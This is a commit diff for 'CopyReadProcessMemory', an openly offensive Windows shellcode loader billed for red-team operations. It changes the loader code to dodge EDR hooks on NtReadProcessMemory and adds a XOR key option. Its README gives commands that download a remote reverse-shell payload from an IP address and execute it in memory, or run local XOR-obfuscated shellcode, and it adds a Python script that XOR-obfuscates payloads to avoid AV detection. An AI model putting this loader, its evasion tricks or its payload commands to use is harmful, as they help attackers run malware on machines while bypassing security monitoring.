Use pDummyBuffer instead of pNewBuffer

Use pDummyBuffer instead of pNewBuffer to avoid send malware buffer to NtReadProcessMemory because usually this function is hooked by EDRs

CopyReadProcessMemory/Helper.cpp

@@ -39,7 +39,7 @@ void* CopyReadProcessMemory(char* shellcode, SIZE_T size) {
 
             ReadProcessMemory(
                 GetCurrentProcess(),
-                pNewBuffer,
+                pDummyBuffer,
                 pDummyBuffer,
                 *((BYTE*)shellcode + I),
                 (SIZE_T*)pDestOffset

CopyReadProcessMemory/handlers.cpp

@@ -22,6 +22,7 @@ void print_help()
         "  -t, --remote_payload <TARGET>     Use remote payload\n\n"
         "Options:\n"
         "  -e, --execute                     Execute payload after processing\n"
+        "  -x, --xor                         XOR key to decode the shellcode\n"
         "  -h, --help                        Show this help\n"
         "  -V, --version                     Show version\n";
 }

README.md

@@ -1,24 +1,92 @@
-Copiar Buffer en proceso actual usando ReadProcessMemory
+# CopyReadProcessMemory
 
+## Description
+
+CopyReadProcessMemory expoits the miss-configuration/vulnerability present on the API Windows method *ReadProcessMemory* discovered by *DarkCoderSc*.
+
+It exploits the nature of the in/out pointer param named **lpNumberOfBytesRead*, that enables to write into process memory without calling common API methods to do so such as memcpy, this is perfect for AV and EDR detection evasion
+
+```C++
 BOOL ReadProcessMemory(
   [in]  HANDLE  hProcess,
   [in]  LPCVOID lpBaseAddress,
   [out] LPVOID  lpBuffer,
   [in]  SIZE_T  nSize,
-  [out] SIZE_T  *lpNumberOfBytesRead
+  [out] SIZE_T  *lpNumberOfBytesRead      <----------------------------- Vulnerable param
 );
+```
 
-La clase esta en que se le pasa como parametro nSize el caracter a leer por ejemplo 'H' que es 0x48 o 72 en Hexadimal, y donde lo va a guardar el numero de caracteres leidos es en *lpNumberOfBytesRead donde le pasamos la direccion de nuestro buffer.
+This tool can directly be used on red team operations as a POC.
 
-pDestOffset = (SIZE_T*)((BYTE*)pNewBuffer + I);
+## Download
 
-// Esta llamada en realidad no copia correctamente, pero se deja igual que en Delphi
+Just go the release section of the repo and download the latest version
-ReadProcessMemory(
-    GetCurrentProcess(),                      // handle del proceso
-    pNewBuffer,                               // dirección origen (??)
-    pDummyBuffer,                             // destino temporal
-    *((BYTE*)AString.data() + I),             // tamaño (??)
-    (SIZE_T*)pDestOffset                      // bytes leídos
-);
 
-Es una nueva forma de escribir en el proceso normal o remoto
+```
+https://github.com/chmod760/CopyReadProcessMemory/releases/tag/Stable-1.0
+```
+
+## Usage
+
+The main options of the program are the next:
+
+```Powershell
+CopyReadProcessMemory.exe -h
+
+Usage:
+  CopyReadProcessMemory [OPTIONS]
+
+Modes (choose exactly one):
+  -s, --string_inject <STRING>      Inject a raw string
+  -f, --file_path <FILE>            Load payload from file
+  -t, --remote_payload <TARGET>     Use remote payload
+
+Options:
+  -e, --execute                     Execute payload after processing
+  -x, --xor                         XOR key to decode the shellcode
+  -h, --help                        Show this help
+  -V, --version                     Show version
+```
+
+<img width="1436" height="337" alt="image" src="https://github.com/user-attachments/assets/912ed5e6-5d1a-40a3-9865-fae43718e969" />
+
+
+There are three possible surfaces for attack scenarios (at least):
+
+### Remote shellcode in-memory inyection & execution
+
+```Powershell
+CopyReadProcessMemory.exe -t http://192.168.1.140:8081/reverse.bin -e
+```
+
+### In terminal line shellcode inyection & execution
+
+```Powershell
+CopyReadProcessMemory.exe  -s "Copy Using ReadProcessMemory"
+```
+
+### From external file shellcode inyection & execution
+
+
+```Powershell
+CopyReadProcessMemory.exe -f "C:\Users\Public\Download\reverse.bin" -e 
+```
+
+### Payload De-obfuscation
+
+**From an attacker’s perspective, dropping raw shellcode on a system usually means instant detection and failure. Because of this, attackers often obfuscate or encrypt their shellcode to avoid being flagged by AV/EDR solutions, which requires decrypting or de-obfuscating it in memory. To support this workflow, I added an extra feature that can de-obfuscate the payload using the `-x` argument, allowing you to provide the key used for de-xor’ing it.**
+
+```Powershell
+CopyReadProcessMemory.exe -f C:\Users\Public\Downloads\reverse.bin_xored -e -x chmod760
+```
+
+It can also be applied to the other features described earlier in this document.
+
+Additionally, a Python script is included to help with payload obfuscation.
+
+
+### Credits
+
+Big kudos to Jean-Pierre LESUEUR (DarkCoderSc) for discovering the pointer vulnerability and posting it to the unprotect.it project, you can contact him here:
+
+https://unprotect.it/users/public/profile/darkcodersc/

xoreador.py

@@ -0,0 +1,18 @@
+#!/usr/bin/python3
+import sys
+
+# chmod760
+key=[ 0x63, 0x68, 0x6D ,0x6F, 0x64, 0x37, 0x36, 0x30]
+
+file_b = bytearray(open(sys.argv[1], 'rb').read())
+size = len(file_b)
+xord_byte_array = bytearray(size)
+
+print("unsigned char shellcode[] =\"", end="")
+for i in range(size):
+  #print("%s:%s", [file_b[i], key[i % len(key)]])
+  xord_byte_array[i] = file_b[i] ^ key[i % len(key)]
+  b = xord_byte_array[i]
+  print(f"\\x{b:02X}", end="")
+print("\";", end="")
+open(sys.argv[1] + "_xored", "wb").write(xord_byte_array)